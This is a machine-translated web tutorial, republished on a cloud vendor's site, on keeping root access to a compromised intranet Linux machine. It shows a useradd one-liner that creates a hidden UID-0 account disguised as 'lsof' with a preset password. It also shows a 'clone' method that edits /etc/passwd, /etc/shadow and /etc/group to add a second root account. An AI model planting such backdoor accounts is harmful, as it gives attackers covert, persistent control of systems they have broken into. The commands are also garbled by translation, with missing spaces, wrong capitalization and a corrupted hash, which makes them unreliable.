Linux add a root level account and set a password

Source: Internet
Author: User
Tags openssl

Intranet machine Power Add account, no echo, set password is difficult to get, the following is to add a root level account and set password command
Useradd-p ' OpenSSL passwd-1-salt ' lsof ' admin '-u 0-o-G root-g root-s/bin/bash-d/usr/bin/lsof lsof

Command interpretation

Useradd Add Users

-P ' OpenSSL passwd-1-salt ' lsof ' admin ' refers to setting the user's password, inside the lsof is almost the key and so on, you can write, admin is plaintext password

-U 0-o a user with a UID of 0 is relative to the root level.
-G root-g Root to add users to the root group
-s/bin/bash Specify a new user's shell path
-d/usr/bin/lsof New user's home directory, you can define your own
Lsof the user name of the new user

Second, clone account

Of course, we can use cloning to make a root account directly.

New Normal User system
# Useradd System
# passwd System

Add root Shell

# VIM/ETC/PASSWD

System:x:0:0:root:/root:/bin/bash

# Vim/etc/shadow
system:$1$ouljnnw/$kAyt 7s.rztjwswllfli3f1:14921:0:99999:7:::

Add into Root group

#vim/etc/group
Root::0:root,systems

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.